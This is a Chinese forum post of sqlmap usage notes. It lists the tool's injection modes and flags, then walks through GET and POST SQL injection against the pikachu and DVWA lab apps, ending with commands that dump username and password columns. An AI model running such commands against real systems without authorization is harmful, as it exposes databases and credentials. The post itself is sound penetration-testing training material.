T O P

[资源分享]     sqlmap使用笔记

  • By - 楼主

  • 2021-07-28 00:00:51
  • Sqlmap使用

    sqlmap简介

    sqlmap支持五种不同的注入模式:

    • 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
    • 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
    • 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
    • 4、联合查询注入,可以使用union的情况下的注入。
    • 5、堆查询注入,可以同时执行多条语句的执行时的注入。

    sqlmap详细命令:

    • –is-dba 当前用户权限(是否为root权限)
    • –dbs 所有数据库
    • –current-db 网站当前数据库
    • –users 所有数据库用户
    • –current-user 当前数据库用户
    • –random-agent 构造随机user-agent
    • –passwords 数据库密码
    • –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
    • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
    • --level=LEVEL       执行的测试级别(1-5, 默认 1)
    • --batch             永远不要要求用户输入,使用默认行为
    • -u URL, --url=URL   目标为 URL (例如. "http://www.site.com/vuln.php?id=1")
    • -g GOOGLEDORK       将谷歌dork的结果作为目标url

    Enumeration(枚举):

    这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
    您自己的SQL语句。

      • -b, –banner 检索数据库管理系统的标识
      • –current-user 检索数据库管理系统当前用户
      • –current-db 检索数据库管理系统当前数据库
      • –is-dba 检测DBMS当前用户是否DBA
      • –users 枚举数据库管理系统用户
      • –passwords 枚举数据库管理系统用户密码哈希
      • –privileges 枚举数据库管理系统用户的权限
      • –roles 枚举数据库管理系统用户的角色
      • –dbs 枚举数据库管理系统数据库
      • -D DBname 要进行枚举的指定数据库名
      • -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
      • –tables 枚举的DBMS数据库中的表
      • –columns 枚举DBMS数据库表列
      • –dump 转储数据库管理系统的数据库中的表项
      • –dump-all 转储所有的DBMS数据库表中的条目
      • –search 搜索列(S),表(S)和/或数据库名称(S)
      • -C COL 要进行枚举的数据库列
      • -U USER 用来进行枚举的数据库用户
      • –exclude-sysdbs 枚举表时排除系统数据库
      • –start=LIMITSTART 第一个查询输出进入检索
      • –stop=LIMITSTOP 最后查询的输出进入检索
      • –first=FIRSTCHAR 第一个查询输出字的字符检索
      • –last=LASTCHAR 最后查询的输出字字符检索
      • –sql-query=QUERY 要执行的SQL语句
      • –sql-shell 提示交互式SQL的shell

    get型注入

    0x00

    对url检测看是否存在注入

    sqlmap.py -u "url" --batch

      --batch             永远不要要求用户输入,使用默认行为

     

     

    0x01

    确认存在注入,指定数据库类型暴库

    sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -dbs --batch

    结果如下:

     

     

    0x02

    枚举指定数据库中的表

    sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -tables --batch

    结果如下:

     

     

    0x03

    枚举指定表中字段

    sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -T users -columns --batch

    结果:

     

     

    0x04

    dump出password和username字段的数据

    sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -T users -C "username,password" -dump --batch

    结果如下:

     

     到这就完了,更多参数自己尝试

    post型注入

    0x00

    首先用burpsuite抓包工具抓取要测试的目标站点包,再把请求包复制到sqlmap目录下创建一个url.txt文件。

    之后使用-r参数开始跑

    sqlmap.py -r url.txt

     0x01

    获取到数据库类型和注入类型之后开始暴库

    使用-dbs列出数据库名

    sqlmap.py -r url.txt -dbms mysql -level 3 -dbs
    指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面),-dbs列出数据库名
    得到结果如下:

     

     

     0x02

     枚举指定数据库中的表

    这里演示枚举dvwa库中的表

    sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -tables

    结果如下:

     

     

     0x03

    接下来继续枚举表中的字段

    这里演示users表

    sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -T users -columns

    结果如下:

     

     

     0x04

    dump出password和user字段的数据

    sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -T users -C "password,user" -dump

    选项全部默认,结果如下:

     

     

    到此就结束了

     

    本帖子中包含资源

    您需要 登录 才可以下载,没有帐号?立即注册